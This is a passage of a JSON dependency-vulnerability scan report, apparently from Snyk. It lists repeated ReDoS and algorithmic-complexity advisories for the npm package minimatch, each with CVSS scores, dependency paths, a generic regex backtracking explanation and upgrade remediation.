"CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": 